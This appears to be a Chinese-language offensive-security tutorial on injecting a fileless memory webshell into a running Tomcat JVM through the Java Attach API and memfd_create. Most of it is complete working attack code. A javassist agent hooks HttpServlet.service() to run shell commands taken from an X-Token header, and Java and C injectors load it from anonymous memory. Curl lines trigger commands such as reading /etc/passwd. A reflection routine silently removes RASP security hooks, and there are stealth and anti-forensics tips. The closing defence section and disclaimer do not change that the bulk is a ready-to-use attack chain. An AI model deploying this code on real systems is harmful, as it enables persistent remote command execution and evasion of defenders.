Java Attach API内存注入
通过 Java Attach API的底层Unix Domain Socket通信协议,结合Linux内核memfd_create系统调用实现纯内存态Agent注入。
1 前提条件分析
Java Attach API(com.sun.tools.attach)是HotSpot JVM提供的动态诊断接口,允许一个外部JVM进程连接到目标JVM并执行管理操作:加载Agent、获取系统属性、触发heap dump等。这一机制是jstack、jmap、Arthas等运维工具的底层基础。
Attach API的价值在于:它提供了一条无需修改目标进程启动参数、无需重启服务、无需文件落盘的代码注入通道。当攻击者在目标主机获得shell后,如果发现运行着Java应用服务,即可通过此机制实现内存级别的持久化。
2 安装基础依赖
环境搭建
组件 | 版本 | 用途 |
操作系统 | Kali Linux 2026.1 (6.x kernel) | 攻击机兼靶机 |
JDK | OpenJDK 25.0.3-ea | 编译Agent/注入器 |
Tomcat | 9.0.117 | 目标Web应用 |
GCC | 15.2.0 | 编译C注入器 |
javassist | 3.30.2-GA | 字节码操作 |

部署 Tomcat 靶机
cd /opt
wget -q https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.117/bin/apache-tomcat-9.0.117.tar.gz
tar xzf apache-tomcat-9.0.117.tar.gz
cd apache-tomcat-9.0.117
./bin/startup.sh
确认 Tomcat 进程在运行
ps -ef | grep '[c]atalina'
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/
ls -la /tmp/.java_pid*
AttachListener的懒加载机制
此时/tmp下不存在.java_pid文件——说明AttachListener尚未激活

HotSpot JVM默认不会在启动时创建AttachListener线程和Unix Domain Socket。只有当外部进程首次尝试Attach时(通过创建.attach_pid<PID>文件并发送SIGQUIT信号),JVM的Signal Dispatcher线程才会检测到触发条件并启动AttachListener。
这意味着:一个从未被诊断工具连接过的JVM,其
/tmp/.java_pid<PID>Socket是不存在的。我们的注入操作会导致该Socket首次创建——这是一个潜在的检测点。
测试 Web 服务可用

创建工作目录
mkdir -p /tmp/inject/{src/com/inject/agent,build/META-INF,lib}
cd /tmp/inject
wget -q -O lib/javassist.jar \
https://repo1.maven.org/maven2/org/javassist/javassist/3.30.2-GA/javassist-3.30.2-GA.jar
tree .
3 JVMTI Agent开发:内存Webshell载荷
Agent是注入链的核心载荷。我们开发的Agent将通过Instrumentation.retransformClasses()重写HttpServlet.service()方法的字节码,在其入口处插入条件命令执行逻辑。
agent 源码
MemShellAgent.java
package com.inject.agent;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;
public class MemShellAgent {
/**
* Attach方式加载入口
* 当通过Attach API注入时,JVM调用此方法而非premain
*/
public static void agentmain(String args, Instrumentation inst) {
System.out.println("[Agent] Loaded via Attach API, pid="
+ ProcessHandle.current().pid());
inst.addTransformer(new MemShellTransformer(), true);
// 遍历已加载类,找到HttpServlet并触发retransform
for (Class<?> clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("javax.servlet.http.HttpServlet")) {
try {
if (inst.isModifiableClass(clazz)) {
inst.retransformClasses(clazz);
System.out.println("[Agent] HttpServlet retransformed OK");
}
} catch (Exception e) {
System.err.println("[Agent] Retransform failed: " + e);
}
return;
}
}
System.err.println("[Agent] HttpServlet class not found in loaded classes");
}
static class MemShellTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> cls, ProtectionDomain pd, byte[] bytecode) {
if (!"javax/servlet/http/HttpServlet".equals(className)) {
return null;
}
try {
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader));
CtClass cc = pool.get("javax.servlet.http.HttpServlet");
// 定位protected service(HttpServletRequest, HttpServletResponse)
CtMethod method = cc.getDeclaredMethod("service",
new CtClass[]{
pool.get("javax.servlet.http.HttpServletRequest"),
pool.get("javax.servlet.http.HttpServletResponse")
});
// 插入到方法体最前面
method.insertBefore(getPayload());
byte[] modified = cc.toBytecode();
cc.detach(); // 释放CtClass资源
System.out.println("[Agent] Bytecode modified, size: "
+ bytecode.length + " -> " + modified.length);
return modified;
} catch (NotFoundException e) {
System.err.println("[Agent] Method not found, trying alternative...");
return tryAlternativeHook(loader, bytecode);
} catch (Exception e) {
System.err.println("[Agent] Transform error: " + e);
return null;
}
}
/**
* 备选Hook点:直接Hook子类(如HttpServletBean)
*/
private byte[] tryAlternativeHook(ClassLoader loader, byte[] original) {
return null;
}
private String getPayload() {
// 内存马逻辑:检测X-Token请求头,存在时执行其值作为命令
return "{"
+ " javax.servlet.http.HttpServletRequest _req ="
+ " (javax.servlet.http.HttpServletRequest)$1;"
+ " javax.servlet.http.HttpServletResponse _resp ="
+ " (javax.servlet.http.HttpServletResponse)$2;"
+ " String _cmd = _req.getHeader(\"X-Token\");"
+ " if (_cmd != null && _cmd.length() > 0) {"
+ " try {"
+ " String[] _exec = new String[]{\"/bin/sh\", \"-c\", _cmd};"
+ " Process _p = Runtime.getRuntime().exec(_exec);"
+ " java.io.InputStream _is = _p.getInputStream();"
+ " byte[] _buf = new byte[4096];"
+ " int _len;"
+ " StringBuilder _sb = new StringBuilder();"
+ " while ((_len = _is.read(_buf)) != -1) {"
+ " _sb.append(new String(_buf, 0, _len));"
+ " }"
+ " _resp.setContentType(\"text/plain\");"
+ " _resp.setCharacterEncoding(\"UTF-8\");"
+ " _resp.getWriter().print(_sb.toString());"
+ " _resp.getWriter().flush();"
+ " _is.close();"
+ " return;"
+ " } catch (Exception _e) {"
+ " try { _resp.getWriter().print(\"ERR:\" + _e); }"
+ " catch (Exception _ex) {}"
+ " return;"
+ " }"
+ " }"
+ "}";
}
}
}- 变量命名前缀
_:避免与原始方法局部变量名冲突。javassist的insertBefore将代码插入到方法体开头,共享方法的局部变量作用域。 $1/$2引用:javassist的特殊语法,$1代表第一个参数,$2代表第二个参数。- 显式
return;:命中触发条件时直接返回,不执行原始Servlet逻辑,避免产生正常响应页面干扰输出。 - 异常静默处理:Agent代码中的异常不应导致目标应用崩溃,所有异常都被catch并返回简要错误信息。
- Hook位置选择:选择
HttpServlet.service()而非具体的doGet/doPost,因为service是所有HTTP方法的统一入口,确保GET/POST/PUT等请求都能触发。
MANIFEST.MF
sudo bash -c 'cat > /tmp/inject/build/META-INF/MANIFEST.MF << EOF
Manifest-Version: 1.0
Agent-Class: com.inject.agent.MemShellAgent
Can-Retransform-Classes: true
Can-Redefine-Classes: true
EOF'
Can-Retransform-Classes: true是必需的,否则retransformClasses()调用将抛出UnsupportedOperationException。
4 从编译到getshell
编译并打包 Agent JAR
编译
javac -cp lib/javassist.jar \
-d build \
src/com/inject/agent/MemShellAgent.java
解压 javassist 类到 build 目录
cd build && jar xf ../lib/javassist.jar javassist && cd ..
打包
jar cmf build/META-INF/MANIFEST.MF agent.jar -C build .
验证结果
jar tf agent.jar | grep -E "(MANIFEST|MemShell|javassist/CtClass)"
ls -la agent.jar
编写注入器并执行标准注入
Injector.java
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
public class Injector {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Available JVMs:");
for (VirtualMachineDescriptor vmd : VirtualMachine.list()) {
System.out.printf(" PID=%-7s %s%n", vmd.id(), vmd.displayName());
}
System.out.println("\nUsage: java Injector <pid> <agent.jar>");
return;
}
String pid = args[0];
String agentPath = new File(args[1]).getAbsolutePath();
System.out.println("[*] Target PID: " + pid);
System.out.println("[*] Agent path: " + agentPath);
VirtualMachine vm = VirtualMachine.attach(pid);
System.out.println("[*] Attached successfully");
vm.loadAgent(agentPath);
System.out.println("[+] Agent loaded!");
vm.detach();
System.out.println("[*] Detached");
}
}编译并执行
javac Injector.java![]()
查找可用 JVM
java Injector
记录当前 memfd 数量(注入前基线),与注入后形成对比参照(后文再细说)

执行注入
TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')
java Injector ${TARGET_PID} agent.jar
检查 Tomcat 日志确认注入成功
tail -5 /opt/apache-tomcat-9.0.117/logs/catalina.out
验证内存马效果
正常请求
curl -s http://localhost:8080/ | head -3
触发内存马执行命令
curl -s -H "X-Token: id" http://localhost:8080/
curl -s -H "X-Token: uname -a" http://localhost:8080/
curl -s -H "X-Token: cat /etc/passwd | head -5" http://localhost:8080/
任意路径均可触发内存注入
curl -s -H "X-Token: whoami" http://localhost:8080/any/random/path
- 请求的是
/any/random/path(一个不存在的路径),但内存马仍然响应。因为 Hook 点在HttpServlet.service()方法——这是所有 HTTP 请求的统一入口,无论 URL 路径是什么都会经过这里。
不带 X-Token 头,业务正常
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/
5 memfd_create 内存注入
编写 C 注入器
fileless_injector.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/syscall.h>
#include <signal.h>
#include <errno.h>
#include <linux/memfd.h>
/*
* 无文件Java Agent注入器
* 利用memfd_create + /proc/pid/fd实现纯内存态注入
*
* 编译: gcc -O2 -o fileless_injector fileless_injector.c
* 用法: ./fileless_injector <target_pid> <agent.jar>
*
* 工作流程:
* 1. 读取agent.jar到内存
* 2. 通过memfd_create创建匿名内存文件
* 3. 将JAR数据写入内存fd
* 4. 触发目标JVM的Attach Listener
* 5. 通过Unix Socket发送load命令,路径指向/proc/self/fd/N
* 6. 注入完成后关闭fd,内存文件销毁
*/
// 直接通过syscall调用memfd_create,避免glibc版本依赖
static int my_memfd_create(const char *name, unsigned int flags) {
return (int)syscall(SYS_memfd_create, name, flags);
}
// 等待文件出现,带超时
static int wait_for_file(const char *path, int timeout_ms) {
int elapsed = 0;
while (access(path, F_OK) != 0) {
if (elapsed >= timeout_ms) return -1;
usleep(100 * 1000); // 100ms
elapsed += 100;
}
return 0;
}
// 核心:发送Attach协议命令
static int do_attach_load(int target_pid, const char *agent_path) {
char socket_path[256];
char attach_file[256];
int ret = -1;
// === Phase 1: 触发AttachListener启动 ===
snprintf(attach_file, sizeof(attach_file), "/tmp/.attach_pid%d", target_pid);
// 检查Socket是否已存在(JVM之前已被Attach过)
snprintf(socket_path, sizeof(socket_path), "/tmp/.java_pid%d", target_pid);
if (access(socket_path, F_OK) != 0) {
printf("[*] Attach socket not found, triggering creation...\n");
int fd = open(attach_file, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0) {
fprintf(stderr, "[-] Cannot create %s: %s\n", attach_file, strerror(errno));
return -1;
}
close(fd);
// 发送SIGQUIT触发Signal Dispatcher
if (kill(target_pid, SIGQUIT) < 0) {
fprintf(stderr, "[-] Cannot send SIGQUIT to %d: %s\n",
target_pid, strerror(errno));
unlink(attach_file);
return -1;
}
printf("[*] Waiting for JVM to create attach socket...\n");
if (wait_for_file(socket_path, 5000) < 0) {
fprintf(stderr, "[-] Timeout: JVM did not create socket within 5s\n");
fprintf(stderr, " Possible causes:\n");
fprintf(stderr, " - JVM started with -XX:+DisableAttachMechanism\n");
fprintf(stderr, " - UID mismatch (check process owner)\n");
fprintf(stderr, " - PID incorrect or process not a JVM\n");
unlink(attach_file);
return -1;
}
unlink(attach_file);
printf("[+] Attach socket ready: %s\n", socket_path);
} else {
printf("[*] Attach socket already exists (JVM previously attached)\n");
}
// === Phase 2: 连接Socket并发送命令 ===
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
if (sock < 0) {
perror("[-] socket()");
return -1;
}
struct sockaddr_un addr = {0};
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
fprintf(stderr, "[-] connect(%s): %s\n", socket_path, strerror(errno));
close(sock);
return -1;
}
printf("[*] Connected to JVM attach socket\n");
// 构造协议报文: "1\0load\0instrument\0false\0<path>\0"
char payload[2048];
int off = 0;
payload[off++] = '1';
payload[off++] = '\0';
memcpy(payload + off, "load", 4); off += 4;
payload[off++] = '\0';
memcpy(payload + off, "instrument", 10); off += 10;
payload[off++] = '\0';
memcpy(payload + off, "false", 5); off += 5;
payload[off++] = '\0';
int path_len = strlen(agent_path);
memcpy(payload + off, agent_path, path_len); off += path_len;
payload[off++] = '\0';
ssize_t sent = write(sock, payload, off);
if (sent != off) {
fprintf(stderr, "[-] write() failed: sent %zd/%d\n", sent, off);
close(sock);
return -1;
}
printf("[*] Command sent (%d bytes)\n", off);
// === Phase 3: 读取响应 ===
char response[1024] = {0};
ssize_t n = read(sock, response, sizeof(response) - 1);
close(sock);
if (n > 0) {
printf("[*] JVM Response: %s\n", response);
if (response[0] == '0') {
ret = 0;
} else {
fprintf(stderr, "[-] JVM returned error code: %.10s\n", response);
}
} else {
fprintf(stderr, "[-] No response from JVM\n");
}
return ret;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
fprintf(stderr, "Fileless Java Agent Injector\n");
fprintf(stderr, "Usage: %s <target_pid> <agent.jar>\n\n", argv[0]);
fprintf(stderr, "The JAR is loaded into anonymous memory via memfd_create\n");
fprintf(stderr, "and injected without leaving disk artifacts.\n");
return 1;
}
int target_pid = atoi(argv[1]);
const char *jar_path = argv[2];
printf("=== Fileless Java Agent Injector ===\n");
printf("[*] Target PID: %d\n", target_pid);
printf("[*] Source JAR: %s\n\n", jar_path);
// Step 1: 读取JAR到用户空间内存
FILE *fp = fopen(jar_path, "rb");
if (!fp) {
fprintf(stderr, "[-] Cannot open %s: %s\n", jar_path, strerror(errno));
return 1;
}
fseek(fp, 0, SEEK_END);
long jar_size = ftell(fp);
fseek(fp, 0, SEEK_SET);
unsigned char *jar_buf = (unsigned char *)malloc(jar_size);
if (!jar_buf) {
fprintf(stderr, "[-] malloc(%ld) failed\n", jar_size);
fclose(fp);
return 1;
}
if (fread(jar_buf, 1, jar_size, fp) != (size_t)jar_size) {
fprintf(stderr, "[-] fread() incomplete\n");
free(jar_buf);
fclose(fp);
return 1;
}
fclose(fp);
printf("[+] Read JAR into memory: %ld bytes\n", jar_size);
// Step 2: 创建匿名内存文件
int memfd = my_memfd_create("", MFD_CLOEXEC);
if (memfd < 0) {
fprintf(stderr, "[-] memfd_create failed: %s\n", strerror(errno));
fprintf(stderr, " Requires Linux kernel >= 3.17\n");
free(jar_buf);
return 1;
}
// Step 3: 写入JAR数据到内存fd
ssize_t written = write(memfd, jar_buf, jar_size);
free(jar_buf);
if (written != jar_size) {
fprintf(stderr, "[-] write to memfd incomplete: %zd/%ld\n", written, jar_size);
close(memfd);
return 1;
}
// 构造/proc路径 — 目标JVM通过此路径读取内存文件
char memfd_path[256];
snprintf(memfd_path, sizeof(memfd_path), "/proc/%d/fd/%d", getpid(), memfd);
printf("[+] Memory file created: %s\n", memfd_path);
printf("[*] Verifying readability...\n");
if (access(memfd_path, R_OK) != 0) {
fprintf(stderr, "[-] memfd path not accessible: %s\n", strerror(errno));
close(memfd);
return 1;
}
printf("[+] Memory file verified readable\n\n");
// Step 4: 执行Attach注入
printf("[*] Initiating Attach protocol...\n");
int result = do_attach_load(target_pid, memfd_path);
if (result == 0) {
printf("\n[+] === INJECTION SUCCESSFUL ===\n");
printf("[+] Agent is now executing inside target JVM (PID %d)\n", target_pid);
} else {
printf("\n[-] === INJECTION FAILED ===\n");
}
// Step 5: 关闭memfd — 内存文件被销毁
close(memfd);
printf("[*] Memory fd closed — anonymous file destroyed\n");
printf("[*] No disk artifacts remain from agent payload\n");
return result;
}编译并执行无文件注入
gcc -O2 -o fileless_injector fileless_injector.c
# 重启 Tomcat 获得干净状态
/opt/apache-tomcat-9.0.117/bin/shutdown.sh
sleep 2
/opt/apache-tomcat-9.0.117/bin/startup.sh
sleep 3
获取新 PID 并注入
TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')
./fileless_injector ${TARGET_PID} agent.jar
6 验证无文件特性
curl -s -H "X-Token: id" http://localhost:8080/x
内存马仍然有效
rm -f /tmp/inject/agent.jar
rm -f /tmp/inject/fileless_injector
curl -s -H "X-Token: whoami" http://localhost:8080/y请求任意非根路径即可

删除磁盘文件后内存马依然存活
# 检查 JVM fd 列表无 memfd 残留
ls -la /proc/${TARGET_PID}/fd/ | grep memfd这里看到的 fd/56 是 JDK 25 自身的,不是注入产生的。

注入完成后再检查memfd 数量
ls -la /proc/${TARGET_PID}/fd/ | grep memfd | wc -l
与前文memfd 数量进行对比,注入前后数量一致,就证明了注入器的 memfd 没有残留在 JVM 中。
关键证据链
- 注入器进程退出后,其/proc/PID目录被内核回收,memfd文件描述符随之关闭,匿名内存文件被销毁
- 目标JVM在加载Agent时是一次性读取JAR内容到自己的堆内存,不会持有源文件的fd——因此JVM的fd列表中没有memfd残留
- 删除磁盘上的agent.jar和注入器后,内存马仍然有效——因为修改后的字节码已经驻留在JVM的Metaspace中
- 整个过程中,agent.jar虽然短暂存在于磁盘用于读取,但实际注入路径是内存。生产环境中可通过网络直接接收JAR字节流写入memfd,实现全程零落盘
7 痕迹检查
检查一:Socket 文件存在性
# Socket 文件
ls -la /tmp/.java_pid${TARGET_PID}
该 Socket 是 JVM Attach API 的通信通道——注入 Agent 时通过它与目标 JVM 进行协议交互。其创建时间(17:46)标记了 Attach 机制首次被触发的时刻。
定期巡检
/tmp/.java_pid*即可发现,但无法仅凭文件存在区分合法监控工具(Arthas/SkyWalking)与恶意注入。
检查二:Attach Listener 线程状态
# Attach Listener 线程
jcmd ${TARGET_PID} Thread.print | grep "Attach Listener"
Attach Listener 线程已存活 812 秒,证实此前确有 Attach 操作发生。关键指标 cpu=130.53ms 表明该线程并非空闲创建——它实际处理过 Attach 请求(加载 Agent 的协议交互)。当前状态 waiting on condition 表示已完成任务,等待下一次连接。
需主动执行
jcmd或jstack进行线程快照,且需结合 CPU 时间判断该线程是否仅由合法 JMX 监控触发。
检查三:后续注入隐蔽性预判
Socket 已存在意味着:后续再次注入时不会触发新的文件创建事件。依赖 inotify 等文件系统监控的防御方案在此场景下完全失效——攻击者可反复注入新 Agent 而在文件系统层面产生零增量痕迹。
# 注入前预判(Socket 已存在则隐蔽性最高)
test -S /tmp/.java_pid${TARGET_PID} && echo "Socket exists, stealth mode" || echo "Will create new socket"
Arthas、SkyWalking 等 APM 工具常使 Socket 提前存在,攻击者"搭便车"即可获得最高隐蔽性。
8 攻击痕迹分析与反取证
绕过已存在的AttachListener检测
如果目标JVM之前从未被Attach过(/tmp/.java_pid*不存在),首次注入会导致Socket文件创建和线程新增。但如果生产环境已部署了Arthas、SkyWalking Agent等监控工具,AttachListener大概率已处于活跃状态——此时注入不会产生任何新的文件系统或线程变更。

对抗RASP:致盲已有安全Agent
如果目标JVM运行了RASP(如OpenRASP、JRASP),其Transformer可能检测到异常的retransformClasses调用。以下技术用于识别和摘除RASP钩子:
/**
* 在agentmain中优先执行:摘除第三方Transformer
* 原理:通过反射访问InstrumentationImpl的内部Transformer列表
*/
private static void neutralizeTransformers(Instrumentation inst) {
try {
// 获取TransformerManager
java.lang.reflect.Field tmField = inst.getClass()
.getDeclaredField("mTransformerManager");
tmField.setAccessible(true);
Object tm = tmField.get(inst);
// 获取Transformer数组(retransform能力的)
java.lang.reflect.Method getMethod = tm.getClass()
.getDeclaredMethod("getSnapshotTransformerList");
getMethod.setAccessible(true);
// TransformerInfo[] — 包含每个注册的Transformer
Object[] infoArray = (Object[]) getMethod.invoke(tm);
for (Object info : infoArray) {
java.lang.reflect.Field tField = info.getClass()
.getDeclaredField("mTransformer");
tField.setAccessible(true);
ClassFileTransformer t = (ClassFileTransformer) tField.get(info);
String tClassName = t.getClass().getName().toLowerCase();
// 匹配已知RASP特征类名
if (tClassName.contains("rasp") ||
tClassName.contains("openrasp") ||
tClassName.contains("jrasp") ||
tClassName.contains("security.agent")) {
inst.removeTransformer(t);
// 静默移除,不打印
}
}
} catch (Exception ignored) {
// 反射失败不影响主逻辑(可能JDK版本字段名不同)
}
}RASP对抗的局限性
上述方法依赖于RASP的Transformer类名包含可识别特征。部分商业RASP产品使用混淆类名或动态生成Transformer,此时需要通过行为特征(如Transformer的transform方法访问的类范围)来识别。更激进的方式是移除所有非JDK内置的Transformer,但这可能影响业务中的合法AOP框架。
9 防御建议
Socket 文件和 Attach Listener 线程属于存量痕迹,蓝队通过定期巡检即可发现历史注入行为。然而攻击者的真正优势在于:一旦 Socket 已存在,后续注入在文件系统和线程层面均为零增量——仅靠被动监控几乎不可能实时捕获。
有效检测手段:
①启动时添加 -XX:+DisableAttachMechanism 从根本上禁用 Attach;
②部署 eBPF 探针监控对 /tmp/.java_pid* Socket 的 connect() 系统调用;
③通过 auditd 审计 SIGQUIT 信号的发送源。三者结合方可覆盖整个攻击面。
运维层防护措施
# 1. 使用systemd的ProtectHome/PrivateTmp隔离/tmp
# /etc/systemd/system/tomcat.service
[Service]
PrivateTmp=true
# 效果:Tomcat看到的/tmp是隔离的命名空间
# 攻击者在主机/tmp创建.attach_pid文件不会被JVM看到
# 2. 监控/tmp下的.java_pid和.attach_pid文件创建
inotifywait -m -e create /tmp/ 2>/dev/null | grep -E '\.(java_pid|attach_pid)'
# 3. 定期对比关键类字节码hash
# 基线建立:
jcmd <PID> GC.class_stats | md5sum > /opt/security/class_baseline.md5
# 定期检查(crontab):
jcmd <PID> GC.class_stats | md5sum | diff - /opt/security/class_baseline.md5最有效的单一防御措施
在所有防御手段中,systemd的PrivateTmp=true是性价比最高的单一措施。它通过Linux mount namespace为服务创建隔离的/tmp目录,使得外部进程无法通过/tmp/.attach_pid触发Attach,从根本上阻断了攻击链的第一步。且此配置对应用完全透明,不影响任何正常功能。
10 认识
无文件不等于无痕迹,但大幅抬高了取证成本。memfd_create虽然消除了磁盘文件,但内存中的字节码修改、JVM内部的Transformer注册记录、内核审计日志中的系统调用序列——这些依然可被发现。
免责声明
本文所有技术内容仅用于安全研究和防御能力建设。在未经授权的系统上使用本文所述技术属于违法行为。进行渗透测试前务必获得书面授权并明确测试范围。